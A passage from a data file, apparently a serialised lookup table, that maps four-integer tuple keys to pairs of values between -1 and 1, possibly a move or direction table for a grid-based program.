(7, 22, -1, -3): (-1, 1), (7, 22, -1, -2): (-1, 1), (7, 22, -1, -1): (1, 1), (7, 22, -1, 0): (1, 1), (7, 22, -1, 1): (1, 1), (7, 22, -1, 2): (1, 1), (7, 22, -1, 3): (1, 0), (7, 22, -1, 4): (0, 1), (7, 22, -1, 5): (0, 1), (7, 22, 0, -5): (-1, 1), (7, 22, 0, -4): (-1, 1), (7, 22, 0, -3): (-1, 1), (7, 22, 0, -2): (1, 1), (7, 22, 0, -1): (0, 1), (7, 22, 0, 0): (0, 1), (7, 22, 0, 1): (0, 1), (7, 22, 0, 2): (0, 1), (7, 22, 0, 3): (0, 0), (7, 22, 0, 4): (-1, 1), (7, 22, 0, 5): (-1, 1), (7, 22, 1, -5): (1, 1), (7, 22, 1, -4): (1, 1), (7, 22, 1, -3): (1, 1), (7, 22, 1, -2): (1, 1), (7, 22, 1, -1): (-1, 1), (7, 22, 1, 0): (-1, 1), (7, 22, 1, 1): (-1, 1), (7, 22, 1, 2): (-1, 1), (7, 22, 1, 3): (-1, 0), (7, 22, 1, 4): (-1, -1), (7, 22, 1, 5): (-1, -1), (7, 22, 2, -5): (1, 1), (7, 22, 2, -4): (1, 0), (7, 22, 2, -3): (1, 1), (7, 22, 2, -2): (1, 1), (7, 22, 2, -1): (1, 1), (7, 22, 2, 0): (1, 1), (7, 22, 2, 1): (0, 1), (7, 22, 2, 2): (0, 1), (7, 22, 2, 3): (1, 1), (7, 22, 2, 4): (1, 1), (7, 22, 2, 5): (1, 0), (7, 22, 3, -5): (0, 1), (7, 22, 3, -4): (0, 0), (7, 22, 3, -3): (0, 1), (7, 22, 3, -2): (0, 1), (7, 22, 3, -1): (0, 1), (7, 22, 3, 0): (0, 1), (7, 22, 3, 1): (-1, 1), (7, 22, 3, 2): (-1, 1), (7, 22, 3, 3): (0, 1), (7, 22, 3, 4): (0, 1), (7, 22, 3, 5): (0, 1), (7, 22, 4, -5): (0, 1), (7, 22, 4, -4): (0, 0), (7, 22, 4, -3): (0, 1), (7, 22, 4, -2): (0, 1), (7, 22, 4, -1): (0, 1), (7, 22, 4, 0): (0, 1), (7, 22, 4, 1): (0, 1), (7, 22, 4, 2): (0, 1), (7, 22, 4, 3): (0, 1), (7, 22, 4, 4): (0, 1), (7, 22, 4, 5): (0, 1), (7, 22, 5, -5): (0, 1), (7, 22, 5, -4): (0, 0), (7, 22, 5, -3): (0, 1), (7, 22, 5, -2): (0, 1), (7, 22, 5, -1): (0, 1), (7, 22, 5, 0): (0, 1), (7, 22, 5, 1): (0, 1), (7, 22, 5, 2): (0, 1), (7, 22, 5, 3): (0, 1), (7, 22, 5, 4): (0, 1), (7, 22, 5, 5): (0, 1), (7, 23, -5, -5): (0, 0), (7, 23, -5, -4): (0, 1), (7, 23, -5, -3): (0, 1), (7, 23, -5, -2): (0, 1), (7, 23, -5, -1): (0, 1), (7, 23, -5, 0): (0, 1), (7, 23, -5, 1): (0, 1), (7, 23, -5, 2): (0, 1), (7, 23, -5, 3): (0, 1), (7, 23, -5, 4): (0, 1), (7, 23, -5, 5): (0, 1), (7, 23, -4, -5): (0, 0), (7, 23, -4, -4): (0, 1), (7, 23, -4, -3): (0, 1), (7, 23, -4, -2): (0, 1), (7, 23, -4, -1): (0, 1), (7, 23, -4, 0): (0, 1), (7, 23, -4, 1): (0, 1), (7, 23, -4, 2): (0, 1), (7, 23, -4, 3): (0, 1), (7, 23, -4, 4): (0, 1), (7, 23, -4, 5): (0, 1), (7, 23, -3, -5): (0, 0), (7, 23, -3, -4): (0, 1), (7, 23, -3, -3): (0, 1), (7, 23, -3, -2): (0, 1), (7, 23, -3, -1): (0, 1), (7, 23, -3, 0): (0, 1), (7, 23, -3, 1): (0, 1), (7, 23, -3, 2): (0, 1), (7, 23, -3, 3): (0, 1), (7, 23, -3, 4): (0, 1), (7, 23, -3, 5): (0, 1), (7, 23, -2, -5): (0, 0), (7, 23, -2, -4): (0, 1), (7, 23, -2, -3): (0, 1), (7, 23, -2, -2): (0, 1), (7, 23, -2, -1): (0, 1), (7, 23, -2, 0): (1, 1), (7, 23, -2, 1): (1, 1), (7, 23, -2, 2): (1, 1), (7, 23, -2, 3): (1, 1), (7, 23, -2, 4): (1, 1), (7, 23, -2, 5): (1, 0), (7, 23, -1, -5): (-1, 0), (7, 23, -1, -4): (-1, 1), (7, 23, -1, -3): (-1, 1), (7, 23, -1, -2): (-1, 1), (7, 23, -1, -1): (1, 1), (7, 23, -1, 0): (1, 1), (7, 23, -1, 1): (1, 1), (7, 23, -1, 2): (1, 1), (7, 23, -1, 3): (0, 1), (7, 23, -1, 4): (0, 1), (7, 23, -1, 5): (0, 1), (7, 23, 0, -5): (-1, 1), (7, 23, 0, -4): (-1, 1), (7, 23, 0, -3): (-1, 1), (7, 23, 0, -2): (1, 1), (7, 23, 0, -1): (1, 1), (7, 23, 0, 0): (0, 1), (7, 23, 0, 1): (0, 1), (7, 23, 0, 2): (0, 1), (7, 23, 0, 3): (-1, 1), (7, 23, 0, 4): (-1, 1), (7, 23, 0, 5): (-1, 1), (7, 23, 1, -5): (1, 1), (7, 23, 1, -4): (1, 1), (7, 23, 1, -3): (1, 1), (7, 23, 1, -2): (1, 1), (7, 23, 1, -1): (0, 1), (7, 23, 1, 0): (-1, 1), (7, 23, 1, 1): (-1, 1), (7, 23, 1, 2): (-1, 1), (7, 23, 1, 3): (-1, 0), (7, 23, 1, 4): (-1, -1), (7, 23, 1, 5): (-1, -1), (7, 23, 2, -5): (1, 0), (7, 23, 2, -4): (1, 1), (7, 23, 2, -3): (1, 1), (7, 23, 2, -2): (1, 1), (7, 23, 2, -1): (1, 1), (7, 23, 2, 0): (-1, 1), (7, 23, 2, 1): (0, 1), (7, 23, 2, 2): (1, 1), (7, 23, 2, 3): (1, 1), (7, 23, 2, 4): (1, 1), (7, 23, 2, 5): (1, 0), (7, 23, 3, -5): (0, 0), (7, 23, 3, -4): (0, 1), (7, 23, 3, -3): (0, 1), (7, 23, 3, -2): (0, 1), (7, 23, 3, -1): (0, 1), (7, 23, 3, 0): (0, 1), (7, 23, 3, 1): (-1, 1), (7, 23, 3, 2): (0, 1), (7, 23, 3, 3): (0, 1), (7, 23, 3, 4): (0, 1), (7, 23, 3, 5): (0, 1), (7, 23, 4, -5): (0, 0), (7, 23, 4, -4): (0, 1), (7, 23, 4, -3): (0, 1), (7, 23, 4, -2): (0, 1), (7, 23, 4, -1): (0, 1), (7, 23, 4, 0): (0, 1), (7, 23, 4, 1): (0, 1), (7, 23, 4, 2): (0, 1), (7, 23, 4, 3): (0, 1), (7, 23, 4, 4): (0, 1), (7, 23, 4, 5): (0, 1), (7, 23, 5, -5): (0, 0), (7, 23, 5, -4): (0, 1), (7, 23, 5, -3): (0, 1), (7, 23, 5, -2): (0, 1), (7, 23, 5, -1): (0, 1), (7, 23, 5, 0): (0, 1), (7, 23, 5, 1): (0, 1), (7, 23, 5, 2): (0, 1), (7, 23, 5, 3): (0, 1), (7, 23, 5, 4): (0, 1), (7, 23, 5, 5): (0, 1), (7, 24, -5, -5): (0, 1), (7, 24, -5, -4): (0, 1), (7, 24, -5, -3): (0, 1), (7, 24, -5, -2): (0, 1), (7, 24, -5, -1): (0, 1), (7, 24, -5, 0): (0, 1), (7, 24, -5, 1): (0, 1), (7, 24, -5, 2): (0, 1), (7, 24, -5, 3): (0, 1), (7, 24, -5, 4): (0, 1), (7, 24, -5, 5): (0, 1), (7, 24, -4, -5): (0, 1), (7, 24, -4, -4): (0, 1), (7, 24, -4, -3): (0, 1), (7, 24, -4, -2): (0, 1), (7, 24, -4, -1): (0, 1), (7, 24, -4, 0): (0, 1), (7, 24, -4, 1): (0, 1), (7, 24, -4, 2): (0, 1), (7, 24, -4, 3): (0, 1), (7, 24, -4, 4): (-1, 1), (7, 24, -4, 5): (-1, 1), (7, 24, -3, -5): (0, 1), (7, 24, -3, -4): (0, 1), (7, 24, -3, -3): (0, 1), (7, 24, -3, -2): (0, 1), (7, 24, -3, -1): (0, 1), (7, 24, -3, 0): (0, 1), (7, 24, -3, 1): (0, 1), (7, 24, -3, 2): (0, 1), (7, 24, -3, 3): (0, 1), (7, 24, -3, 4): (0, 1), (7, 24, -3, 5): (0, 1), (7, 24, -2, -5): (0, 1), (7, 24, -2, -4): (0, 1), (7, 24, -2, -3): (0, 1), (7, 24, -2, -2): (0, 1), (7, 24, -2, -1): (0, 1), (7, 24, -2, 0): (1, 1), (7, 24, -2, 1): (1, 1), (7, 24, -2, 2): (1, 1), (7, 24, -2, 3): (1, 1), (7, 24, -2, 4): (1, 0), (7, 24, -2, 5): (1, -1), (7, 24, -1, -5): (-1, 1), (7, 24, -1, -4): (-1, 1), (7, 24, -1, -3): (-1, 1), (7, 24, -1, -2): (-1, 1), (7, 24, -1, -1): (1, 1), (7, 24, -1, 0): (1, 1), (7, 24, -1, 1): (1, 1), (7, 24, -1, 2): (1, 0), (7, 24, -1, 3): (0, 1), (7, 24, -1, 4): (0, 0), (7, 24, -1, 5): (0, -1), (7, 24, 0, -5): (-1, 1), (7, 24, 0, -4): (-1, 1), (7, 24, 0, -3): (1, 1), (7, 24, 0, -2): (1, 1), (7, 24, 0, -1): (1, 1), (7, 24, 0, 0): (0, 1), (7, 24, 0, 1): (0, 1), (7, 24, 0, 2): (0, 0), (7, 24, 0, 3): (-1, 1), (7, 24, 0, 4): (-1, 0), (7, 24, 0, 5): (-1, -1), (7, 24, 1, -5): (1, 1), (7, 24, 1, -4): (1, 1), (7, 24, 1, -3): (1, 1), (7, 24, 1, -2): (1, 1), (7, 24, 1, -1): (0, 1), (7, 24, 1, 0): (-1, 1), (7, 24, 1, 1): (-1, 1), (7, 24, 1, 2): (-1, 0), (7, 24, 1, 3): (-1, -1), (7, 24, 1, 4): (-1, -1), (7, 24, 1, 5): (-1, -1), (7, 24, 2, -5): (1, 1), (7, 24, 2, -4): (1, 1), (7, 24, 2, -3): (1, 1), (7, 24, 2, -2): (1, 1), (7, 24, 2, -1): (1, 1), (7, 24, 2, 0): (0, 1), (7, 24, 2, 1): (1, 1), (7, 24, 2, 2): (1, 1), (7, 24, 2, 3): (1, 1), (7, 24, 2, 4): (1, 1), (7, 24, 2, 5): (1, 0), (7, 24, 3, -5): (0, 1), (7, 24, 3, -4): (0, 1), (7, 24, 3, -3): (0, 1), (7, 24, 3, -2): (0, 1), (7, 24, 3, -1): (0, 1), (7, 24, 3, 0): (-1, 1), (7, 24, 3, 1): (0, 1), (7, 24, 3, 2): (0, 1), (7, 24, 3, 3): (0, 1), (7, 24, 3, 4): (0, 1), (7, 24, 3, 5): (0, 1), (7, 24, 4, -5): (0, 1), (7, 24, 4, -4): (0, 1), (7, 24, 4, -3): (0, 1), (7, 24, 4, -2): (0, 1), (7, 24, 4, -1): (0, 1), (7, 24, 4, 0): (0, 1), (7, 24, 4, 1): (0, 1), (7, 24, 4, 2): (0, 1), (7, 24, 4, 3): (0, 1), (7, 24, 4, 4): (0, 1), (7, 24, 4, 5): (0, 1), (7, 24, 5, -5): (0, 1), (7, 24, 5, -4): (0, 1), (7, 24, 5, -3): (0, 1), (7, 24, 5, -2): (0, 1), (7, 24, 5, -1): (0, 1), (7, 24, 5, 0): (0, 1), (7, 24, 5, 1): (0, 1), (7, 24, 5, 2): (0, 1), (7, 24, 5, 3): (0, 1), (7, 24, 5, 4): (0, 1), (7, 24, 5, 5): (0, 1), (7, 25, -5, -5): (0, 1), (7, 25, -5, -4): (0, 1), (7, 25, -5, -3): (0, 1), (7, 25, -5, -2): (0, 1), (7, 25, -5, -1): (0, 1), (7, 25, -5, 0): (0, 1), (7, 25, -5, 1): (0, 1), (7, 25, -5, 2): (0, 1), (7, 25, -5, 3): (0, 1), (7, 25, -5, 4): (0, 1), (7, 25, -5, 5): (0, 1), (7, 25, -4, -5): (0, 1), (7, 25, -4, -4): (0, 1), (7, 25, -4, -3): (0, 1), (7, 25, -4, -2): (0, 1), (7, 25, -4, -1): (0, 1), (7, 25, -4, 0): (0, 1), (7, 25, -4, 1): (0, 1), (7, 25, -4, 2): (0, 1), (7, 25, -4, 3): (-1, 1), (7, 25, -4, 4): (-1, 1), (7, 25, -4, 5): (-1, 1), (7, 25, -3, -5): (0, 1), (7, 25, -3, -4): (0, 1), (7, 25, -3, -3): (0, 1), (7, 25, -3, -2): (0, 1), (7, 25, -3, -1): (0, 1), (7, 25, -3, 0): (0, 1), (7, 25, -3, 1): (0, 1), (7, 25, -3, 2): (0, 1), (7, 25, -3, 3): (0, 1), (7, 25, -3, 4): (-1, 1), (7, 25, -3, 5): (-1, 1), (7, 25, -2, -5): (0, 1), (7, 25, -2, -4): (0, 1), (7, 25, -2, -3): (0, 1), (7, 25, -2, -2): (0, 1), (7, 25, -2, -1): (0, 1), (7, 25, -2, 0): (1, 1), (7, 25, -2, 1): (1, 1), (7, 25, -2, 2): (1, 1), (7, 25, -2, 3): (1, 0), (7, 25, -2, 4): (1, -1), (7, 25, -2, 5): (1, -1), (7, 25, -1, -5): (-1, 1), (7, 25, -1, -4): (-1, 1), (7, 25, -1, -3): (-1, 1), (7, 25, -1, -2): (-1, 1), (7, 25, -1, -1): (1, 1), (7, 25, -1, 0): (1, 1), (7, 25, -1, 1): (1, 1), (7, 25, -1, 2): (0, 1), (7, 25, -1, 3): (0, 0), (7, 25, -1, 4): (0, -1), (7, 25, -1, 5): (0, -1), (7, 25, 0, -5): (-1, 1), (7, 25, 0, -4): (-1, 1), (7, 25, 0, -3): (1, 1), (7, 25, 0, -2): (1, 1), (7, 25, 0, -1): (1, 1), (7, 25, 0, 0): (0, 1), (7, 25, 0, 1): (0, 1), (7, 25, 0, 2): (-1, 1), (7, 25, 0, 3): (-1, 0), (7, 25, 0, 4): (-1, -1), (7, 25, 0, 5): (-1, -1), (7, 25, 1, -5): (1, 1), (7, 25, 1, -4): (1, 1), (7, 25, 1, -3): (1, 1), (7, 25, 1, -2): (1, 1), (7, 25, 1, -1): (0, 1), (7, 25, 1, 0): (-1, 1), (7, 25, 1, 1): (-1, 1), (7, 25, 1, 2): (-1, 1), (7, 25, 1, 3): (-1, 0), (7, 25, 1, 4): (-1, -1), (7, 25, 1, 5): (-1, -1), (7, 25, 2, -5): (1, 1), (7, 25, 2, -4): (1, 1), (7, 25, 2, -3): (1, 1), (7, 25, 2, -2): (1, 1), (7, 25, 2, -1): (1, 1), (7, 25, 2, 0): (1, 1), (7, 25, 2, 1): (1, 1), (7, 25, 2, 2): (1, 1), (7, 25, 2, 3): (1, 1), (7, 25, 2, 4): (1, 0), (7, 25, 2, 5): (1, -1), (7, 25, 3, -5): (0, 1), (7, 25, 3, -4): (0, 1), (7, 25, 3, -3): (0, 1), (7, 25, 3, -2): (0, 1), (7, 25, 3, -1): (0, 1), (7, 25, 3, 0): (0, 1), (7, 25, 3, 1): (0, 1), (7, 25, 3, 2): (0, 1), (7, 25, 3, 3): (0, 1), (7, 25, 3, 4): (0, 0), (7, 25, 3, 5): (0, -1), (7, 25, 4, -5): (0, 1), (7, 25, 4, -4): (0, 1), (7, 25, 4, -3): (0, 1), (7, 25, 4, -2): (0, 1), (7, 25, 4, -1): (0, 1), (7, 25, 4, 0): (0, 1), (7, 25, 4, 1): (0, 1), (7, 25, 4, 2): (0, 1), (7, 25, 4, 3): (0, 1), (7, 25, 4, 4): (0, 0), (7, 25, 4, 5): (-1, -1), (7, 25, 5, -5): (0, 1), (7, 25, 5, -4): (0, 1), (7, 25, 5, -3): (0, 1), (7, 25, 5, -2): (0, 1), (7, 25, 5, -1): (0, 1), (7, 25, 5, 0): (0, 1), (7, 25, 5, 1): (0, 1), (7, 25, 5, 2): (0, 1), (7, 25, 5, 3): (0, 1), (7, 25, 5, 4): (0, 0), (7, 25, 5, 5): (-1, -1), (7, 26, -5, -5): (0, 1), (7, 26, -5, -4): (0, 1), (7, 26, -5, -3): (0, 1), (7, 26, -5, -2): (0, 1), (7, 26, -5, -1): (0, 1), (7, 26, -5, 0): (0, 1), (7, 26, -5, 1): (0, 1), (7, 26, -5, 2): (0, 1), (7, 26, -5, 3): (0, 1), (7, 26, -5, 4): (0, 1), (7, 26, -5, 5): (0, 1), (7, 26, -4, -5): (0, 1), (7, 26, -4, -4): (0, 1), (7, 26, -4, -3): (0, 1), (7, 26, -4, -2): (0, 1), (7, 26, -4, -1): (0, 1), (7, 26, -4, 0): (0, 1), (7, 26, -4, 1): (0, 1), (7, 26, -4, 2): (-1, 1), (7, 26, -4, 3): (-1, 1), (7, 26, -4, 4): (-1, 1), (7, 26, -4, 5): (-1, 1), (7, 26, -3, -5): (0, 1), (7, 26, -3, -4): (0, 1), (7, 26, -3, -3): (0, 1), (7, 26, -3, -2): (0, 1), (7, 26, -3, -1): (0, 1), (7, 26, -3, 0): (0, 1), (7, 26, -3, 1): (0, 1), (7, 26, -3, 2): (0, 1), (7, 26, -3, 3): (-1, 1), (7, 26, -3, 4): (-1, 1), (7, 26, -3, 5): (-1, 1), (7, 26, -2, -5): (0, 1), (7, 26, -2, -4): (0, 1), (7, 26, -2, -3): (0, 1), (7, 26, -2, -2): (0, 1), (7, 26, -2, -1): (0, 1), (7, 26, -2, 0): (1, 1), (7, 26, -2, 1): (1, 1), (7, 26, -2, 2): (1, 1), (7, 26, -2, 3): (1, 0), (7, 26, -2, 4): (-1, 1), (7, 26, -2, 5): (-1, 1), (7, 26, -1, -5): (-1, 1), (7, 26, -1, -4): (-1, 1), (7, 26, -1, -3): (-1, 1), (7, 26, -1, -2): (-1, 1), (7, 26, -1, -1): (1, 1), (7, 26, -1, 0): (1, 1), (7, 26, -1, 1): (1, 1), (7, 26, -1, 2): (0, 1), (7, 26, -1, 3): (0, 0), (7, 26, -1, 4): (0, -1), (7, 26, -1, 5): (0, -1), (7, 26, 0, -5): (-1, 1), (7, 26, 0, -4): (1, 1), (7, 26, 0, -3): (1, 1), (7, 26, 0, -2): (1, 1), (7, 26, 0, -1): (0, 1), (7, 26, 0, 0): (0, 1), (7, 26, 0, 1): (0, 1), (7, 26, 0, 2): (-1, 1), (7, 26, 0, 3): (-1, 0), (7, 26, 0, 4): (-1, -1), (7, 26, 0, 5): (-1, -1), (7, 26, 1, -5): (1, 1), (7, 26, 1, -4): (1, 1), (7, 26, 1, -3): (1, 1), (7, 26, 1, -2): (1, 1), (7, 26, 1, -1): (-1, 1), (7, 26, 1, 0): (-1, 1), (7, 26, 1, 1): (-1, 1), (7, 26, 1, 2): (-1, 0), (7, 26, 1, 3): (-1, -1), (7, 26, 1, 4): (-1, -1), (7, 26, 1, 5): (-1, 1), (7, 26, 2, -5): (1, 1), (7, 26, 2, -4): (1, 1), (7, 26, 2, -3): (1, 1), (7, 26, 2, -2): (1, 1), (7, 26, 2, -1): (1, 1), (7, 26, 2, 0): (1, 1), (7, 26, 2, 1): (1, 1), (7, 26, 2, 2): (1, 1), (7, 26, 2, 3): (1, 0), (7, 26, 2, 4): (1, -1), (7, 26, 2, 5): (1, -1), (7, 26, 3, -5): (0, 1), (7, 26, 3, -4): (0, 1), (7, 26, 3, -3): (0, 1), (7, 26, 3, -2): (0, 1), (7, 26, 3, -1): (0, 1), (7, 26, 3, 0): (0, 1), (7, 26, 3, 1): (0, 1), (7, 26, 3, 2): (0, 1), (7, 26, 3, 3): (0, 0), (7, 26, 3, 4): (0, -1), (7, 26, 3, 5): (0, -1), (7, 26, 4, -5): (0, 1), (7, 26, 4, -4): (0, 1), (7, 26, 4, -3): (0, 1), (7, 26, 4, -2): (0, 1), (7, 26, 4, -1): (0, 1), (7, 26, 4, 0): (0, 1), (7, 26, 4, 1): (0, 1), (7, 26, 4, 2): (0, 1), (7, 26, 4, 3): (0, 0), (7, 26, 4, 4): (-1, -1), (7, 26, 4, 5): (-1, -1), (7, 26, 5, -5): (0, 1), (7, 26, 5, -4): (0, 1), (7, 26, 5, -3): (0, 1), (7, 26, 5, -2): (0, 1), (7, 26, 5, -1): (0, 1), (7, 26, 5, 0): (0, 1), (7, 26, 5, 1): (0, 1), (7, 26, 5, 2): (0, 1), (7, 26, 5, 3): (0, 0), (7, 26, 5, 4): (-1, -1), (7, 26, 5, 5): (-1, -1), (7, 27, -5, -5): (0, 1), (7, 27, -5, -4): (0, 1), (7, 27, -5, -3): (0, 1), (7, 27, -5, -2): (0, 1), (7, 27, -5, -1): (0, 1), (7, 27, -5, 0): (0, 1), (7, 27, -5, 1): (0, 1), (7, 27, -5, 2): (0, 1), (7, 27, -5, 3): (0, 1), (7, 27, -5, 4): (0, 0), (7, 27, -5, 5): (-1, -1), (7, 27, -4, -5): (0, 1), (7, 27, -4, -4): (0, 1), (7, 27, -4, -3): (0, 1), (7, 27, -4, -2): (0, 1), (7, 27, -4, -1): (0, 1), (7, 27, -4, 0): (0, 1), (7, 27, -4, 1): (-1, 1), (7, 27, -4, 2): (-1, 1), (7, 27, -4, 3): (-1, 1), (7, 27, -4, 4): (-1, 0), (7, 27, -4, 5): (-1, -1), (7, 27, -3, -5): (0, 1), (7, 27, -3, -4): (0, 1), (7, 27, -3, -3): (0, 1), (7, 27, -3, -2): (0, 1), (7, 27, -3, -1): (0, 1), (7, 27, -3, 0): (0, 1), (7, 27, -3, 1): (0, 1), (7, 27, -3, 2): (-1, 1), (7, 27, -3, 3): (-1, 1), (7, 27, -3, 4): (0, 1), (7, 27, -3, 5): (0, 1), (7, 27, -2, -5): (0, 1), (7, 27, -2, -4): (0, 1), (7, 27, -2, -3): (0, 1), (7, 27, -2, -2): (0, 1), (7, 27, -2, -1): (0, 1), (7, 27, -2, 0): (1, 1), (7, 27, -2, 1): (1, 1), (7, 27, -2, 2): (1, 1), (7, 27, -2, 3): (-1, 1), (7, 27, -2, 4): (-1, 1), (7, 27, -2, 5): (-1, 1), (7, 27, -1, -5): (-1, 1), (7, 27, -1, -4): (-1, 1), (7, 27, -1, -3): (-1, 1), (7, 27, -1, -2): (-1, 1), (7, 27, -1, -1): (1, 1), (7, 27, -1, 0): (1, 1), (7, 27, -1, 1): (0, 1), (7, 27, -1, 2): (0, 1), (7, 27, -1, 3): (0, 0), (7, 27, -1, 4): (-1, 1), (7, 27, -1, 5): (-1, 1), (7, 27, 0, -5): (-1, 1), (7, 27, 0, -4): (1, 1), (7, 27, 0, -3): (1, 1), (7, 27, 0, -2): (1, 1), (7, 27, 0, -1): (0, 1), (7, 27, 0, 0): (0, 1), (7, 27, 0, 1): (-1, 1), (7, 27, 0, 2): (-1, 1), (7, 27, 0, 3): (-1, 0), (7, 27, 0, 4): (-1, -1), (7, 27, 0, 5): (-1, -1), (7, 27, 1, -5): (1, 1), (7, 27, 1, -4): (1, 1), (7, 27, 1, -3): (1, 1), (7, 27, 1, -2): (1, 1), (7, 27, 1, -1): (-1, 1), (7, 27, 1, 0): (-1, 1), (7, 27, 1, 1): (-1, 0), (7, 27, 1, 2): (-1, -1), (7, 27, 1, 3): (-1, -1), (7, 27, 1, 4): (-1, -1), (7, 27, 1, 5): (-1, 1), (7, 27, 2, -5): (1, 1), (7, 27, 2, -4): (1, 1), (7, 27, 2, -3): (1, 1), (7, 27, 2, -2): (1, 1), (7, 27, 2, -1): (1, 1), (7, 27, 2, 0): (1, 1), (7, 27, 2, 1): (1, 1), (7, 27, 2, 2): (1, 0), (7, 27, 2, 3): (1, -1), (7, 27, 2, 4): (1, 1), (7, 27, 2, 5): (1, 0), (7, 27, 3, -5): (0, 1), (7, 27, 3, -4): (0, 1), (7, 27, 3, -3): (0, 1), (7, 27, 3, -2): (0, 1), (7, 27, 3, -1): (0, 1), (7, 27, 3, 0): (0, 1), (7, 27, 3, 1): (0, 1), (7, 27, 3, 2): (0, 0), (7, 27, 3, 3): (0, -1), (7, 27, 3, 4): (0, 1), (7, 27, 3, 5): (0, 1), (7, 27, 4, -5): (0, 1), (7, 27, 4, -4): (0, 1), (7, 27, 4, -3): (0, 1), (7, 27, 4, -2): (0, 1), (7, 27, 4, -1): (0, 1), (7, 27, 4, 0): (0, 1), (7, 27, 4, 1): (0, 1), (7, 27, 4, 2): (0, 0), (7, 27, 4, 3): (-1, -1), (7, 27, 4, 4): (0, 1), (7, 27, 4, 5): (0, 1), (7, 27, 5, -5): (0, 1), (7, 27, 5, -4): (0, 1), (7, 27, 5, -3): (0, 1), (7, 27, 5, -2): (0, 1), (7, 27, 5, -1): (0, 1), (7, 27, 5, 0): (0, 1), (7, 27, 5, 1): (0, 1), (7, 27, 5, 2): (0, 0), (7, 27, 5, 3): (-1, -1), (7, 27, 5, 4): (0, 1), (7, 27, 5, 5): (0, 1), (7, 28, -5, -5): (0, 1), (7, 28, -5, -4): (0, 1), (7, 28, -5, -3): (0, 1), (7, 28, -5, -2): (0, 1), (7, 28, -5, -1): (0, 1), (7, 28, -5, 0): (0, 1), (7, 28, -5, 1): (0, 1), (7, 28, -5, 2): (0, 1), (7, 28, -5, 3): (0, 1), (7, 28, -5, 4): (0, 0), (7, 28, -5, 5): (-1, -1), (7, 28, -4, -5): (0, 1), (7, 28, -4, -4): (0, 1), (7, 28, -4, -3): (0, 1), (7, 28, -4, -2): (0, 1), (7, 28, -4, -1): (0, 1), (7, 28, -4, 0): (-1, 1), (7, 28, -4, 1): (-1, 1), (7, 28, -4, 2): (-1, 1), (7, 28, -4, 3): (0, 1), (7, 28, -4, 4): (0, 0), (7, 28, -4, 5): (-1, -1), (7, 28, -3, -5): (0, 1), (7, 28, -3, -4): (0, 1), (7, 28, -3, -3): (0, 1), (7, 28, -3, -2): (0, 1), (7, 28, -3, -1): (0, 1), (7, 28, -3, 0): (0, 1), (7, 28, -3, 1): (-1, 1), (7, 28, -3, 2): (-1, 1), (7, 28, -3, 3): (0, 1), (7, 28, -3, 4): (0, 0), (7, 28, -3, 5): (-1, -1), (7, 28, -2, -5): (0, 1), (7, 28, -2, -4): (0, 1), (7, 28, -2, -3): (0, 1), (7, 28, -2, -2): (0, 1), (7, 28, -2, -1): (0, 1), (7, 28, -2, 0): (1, 1), (7, 28, -2, 1): (1, 1), (7, 28, -2, 2): (-1, 1), (7, 28, -2, 3): (-1, 1), (7, 28, -2, 4): (-1, 0), (7, 28, -2, 5): (-1, -1), (7, 28, -1, -5): (-1, 1), (7, 28, -1, -4): (-1, 1), (7, 28, -1, -3): (-1, 1), (7, 28, -1, -2): (-1, 1), (7, 28, -1, -1): (1, 1), (7, 28, -1, 0): (1, 1), (7, 28, -1, 1): (0, 1), (7, 28, -1, 2): (0, 0), (7, 28, -1, 3): (-1, 1), (7, 28, -1, 4): (-1, 1), (7, 28, -1, 5): (-1, 1), (7, 28, 0, -5): (-1, 1), (7, 28, 0, -4): (1, 1), (7, 28, 0, -3): (1, 1), (7, 28, 0, -2): (1, 1), (7, 28, 0, -1): (0, 1), (7, 28, 0, 0): (0, 1), (7, 28, 0, 1): (-1, 1), (7, 28, 0, 2): (-1, 0), (7, 28, 0, 3): (-1, -1), (7, 28, 0, 4): (-1, -1), (7, 28, 0, 5): (-1, -1), (7, 28, 1, -5): (1, 1), (7, 28, 1, -4): (1, 1), (7, 28, 1, -3): (1, 1), (7, 28, 1, -2): (1, 1), (7, 28, 1, -1): (-1, 1), (7, 28, 1, 0): (-1, 1), (7, 28, 1, 1): (-1, 0), (7, 28, 1, 2): (-1, -1), (7, 28, 1, 3): (-1, -1), (7, 28, 1, 4): (-1, -1), (7, 28, 1, 5): (-1, 1), (7, 28, 2, -5): (1, 1), (7, 28, 2, -4): (1, 1), (7, 28, 2, -3): (1, 1), (7, 28, 2, -2): (1, 1), (7, 28, 2, -1): (1, 1), (7, 28, 2, 0): (1, 1), (7, 28, 2, 1): (1, 0), (7, 28, 2, 2): (1, -1), (7, 28, 2, 3): (1, 1), (7, 28, 2, 4): (1, 0), (7, 28, 2, 5): (1, 0), (7, 28, 3, -5): (0, 1), (7, 28, 3, -4): (0, 1), (7, 28, 3, -3): (0, 1), (7, 28, 3, -2): (0, 1), (7, 28, 3, -1): (0, 1), (7, 28, 3, 0): (0, 1), (7, 28, 3, 1): (0, 0), (7, 28, 3, 2): (0, -1), (7, 28, 3, 3): (0, 1), (7, 28, 3, 4): (0, 1), (7, 28, 3, 5): (0, 1), (7, 28, 4, -5): (0, 1), (7, 28, 4, -4): (0, 1), (7, 28, 4, -3): (0, 1), (7, 28, 4, -2): (0, 1), (7, 28, 4, -1): (0, 1), (7, 28, 4, 0): (0, 1), (7, 28, 4, 1): (0, 0), (7, 28, 4, 2): (-1, -1), (7, 28, 4, 3): (0, 1), (7, 28, 4, 4): (0, 1), (7, 28, 4, 5): (0, 1), (7, 28, 5, -5): (0, 1), (7, 28, 5, -4): (0, 1), (7, 28, 5, -3): (0, 1), (7, 28, 5, -2): (0, 1), (7, 28, 5, -1): (0, 1), (7, 28, 5, 0): (0, 1), (7, 28, 5, 1): (0, 0), (7, 28, 5, 2): (-1, -1), (7, 28, 5, 3): (0, 1), (7, 28, 5, 4): (0, 1), (7, 28, 5, 5): (0, 1), (7, 29, -5, -5): (0, 1), (7, 29, -5, -4): (0, 1), (7, 29, -5, -3): (0, 1), (7, 29, -5, -2): (0, 1), (7, 29, -5, -1): (0, 1), (7, 29, -5, 0): (0, 1), (7, 29, -5, 1): (0, 1), (7, 29, -5, 2): (0, 1), (7, 29, -5, 3): (0, 0), (7, 29, -5, 4): (-1, -1), (7, 29, -5, 5): (0, 1), (7, 29, -4, -5): (0, 1), (7, 29, -4, -4): (0, 1), (7, 29, -4, -3): (0, 1), (7, 29, -4, -2): (0, 1), (7, 29, -4, -1): (-1, 1), (7, 29, -4, 0): (-1, 1), (7, 29, -4, 1): (-1, 1), (7, 29, -4, 2): (0, 1), (7, 29, -4, 3): (0, 0), (7, 29, -4, 4): (-1, -1), (7, 29, -4, 5): (0, 1), (7, 29, -3, 